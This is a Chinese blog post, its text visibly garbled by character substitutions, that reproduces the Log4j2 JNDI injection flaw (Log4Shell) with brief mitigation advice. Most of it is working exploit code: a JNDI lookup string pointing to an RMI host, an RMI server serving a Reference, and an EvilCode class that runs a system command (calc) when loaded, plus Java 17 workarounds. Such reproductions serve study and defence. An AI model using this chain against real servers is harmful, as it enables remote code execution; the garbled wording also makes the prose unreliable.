关于java:Log4j2漏洞复现JNDI注入

35次阅读

共计 3578 个字符,预计需要花费 9 分钟才能阅读完成。

事件背景

2021 年 12 月 10 日凌晨前,网上曝出了 log4j2 的 核弹级 破绽,这种破绽 超级高危,操作简略,利用不便,适用范围广 ,能够间接 任意代码执行 接管你的服务器

简要阐明

Java JNDI 注入破绽,通过结构字段使 log4j2 日志拜访指定好的门路,执行任意代码。

长期修复

JVM 参数增加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

平安倡议

目前,Apache Log4j 曾经公布了新版原本修复该破绽,请受影响的用户将 Apache Log4j2 的所有相干应用程序降级至最新的 Log4j-2.15.0-rc2 版本,同时降级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

简略复现

  1. 我复现的环境

    操作系统 windows10
    jdk: jdk1.8
  2. 目录构造

  1. 须要的依赖

    <dependencies>
     <!--log4j2 外围包 -->
     <dependency>
         <groupId>org.apache.logging.log4j</groupId>
         <artifactId>log4j-api</artifactId>
         <version>2.14.0</version>
     </dependency>
     <dependency>
         <groupId>org.apache.logging.log4j</groupId>
         <artifactId>log4j-core</artifactId>
         <version>2.14.0</version>
     </dependency>
     <!-- 应用 yml 配置 log4j2-->
     <dependency>
         <groupId>com.fasterxml.jackson.dataformat</groupId>
         <artifactId>jackson-dataformat-yaml</artifactId>
         <version>2.12.3</version>
     </dependency>
     <!-- slf4j 外围包 -->
     <dependency>
         <groupId>org.slf4j</groupId>
         <artifactId>slf4j-api</artifactId>
         <version>1.7.32</version>
     </dependency>
     <!-- 用于与 slf4j 放弃桥接 -->
     <dependency>
         <groupId>org.apache.logging.log4j</groupId>
         <artifactId>log4j-slf4j-impl</artifactId>
         <version>2.9.1</version>
     </dependency>
    </dependencies>
  2. 受害者服务器代码

    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    
    /**
     * 模仿运行存在破绽 log4j2 的服务器
     */
    public class ServerTest {private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
    
     public static void main(String[] args) {
     
         // 有些高版本 jdk 须要关上此行代码
         //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    
         // 模仿填写数据, 输出结构好的字符串, 使受益服务器打印日志时执行近程的代码 同一台能够应用 127.0.0.1
         String username = "${jndi:rmi://192.168.31.104:1099/evil}";
         // 失常打印业务日志
         logger.error("username:{}",username);
     }
    }
  3. 构建 RMI 服务来响应恶意代码

    • Java RMI,即 近程办法调用 (Remote Method Invocation),一种用于实现 近程过程调用 (RPC) 的 Java API,能间接传输序列化后的 Java 对象和分布式垃圾收集。它的实现依赖于(JVM),因而它仅反对从一个 JVM 到另一个 JVM 的调用。
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 筹备好 RMI 服务端,期待受益服务器拜访
 */
public class RMIServer {public static void main(String[] args) {
        try {
            // 本地主机上的近程对象注册表 Registry 的实例, 默认端口 1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            // 返回的 Java 对象 
            Reference reference = new Reference("EvilCode","EvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把近程对象注册到 RMI 注册服务器上,并命名为 evil
            registry.bind("evil",referenceWrapper);
        } catch (RemoteException | AlreadyBoundException | NamingException e) {e.printStackTrace();
        }
    }
}
  1. 恶意代码(关上计算器)

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    /**
     * 执行任意的脚本,目前的脚本会使 windows 服务器关上计算器
     */
    public class EvilCode {
     static {System.out.println("受益服务器将执行上面命令行");
         Process p;
    
         String[] cmd = {"calc"};
         try {p = Runtime.getRuntime().exec(cmd);
             InputStream fis = p.getInputStream();
             InputStreamReader isr = new InputStreamReader(fis);
             BufferedReader br = new BufferedReader(isr);
             String line = null;
             while((line=br.readLine())!=null) {System.out.println(line);
             }
         } catch (IOException e) {e.printStackTrace();
         }
     }
    }
  2. 复现成果

Java17 实现的改变

影响的代码为上述第 4 步, 次要在于 java9 之后模块化的起因。

形式一:

  1. maven 的 pom 文件改变

    <build>
     <plugins>
         <plugin>
             <groupId>org.apache.maven.plugins</groupId>
             <artifactId>maven-compiler-plugin</artifactId>
             <configuration>
                 <source>17</source>
                 <target>17</target>
                 <compilerArgs>
                     <arg>--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED</args>
                 </compilerArgs>
             </configuration>
         </plugin>
     </plugins>
    </build>
  2. 增加 VM options:--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED

形式二:

https://segmentfault.com/q/10…

正文完
 0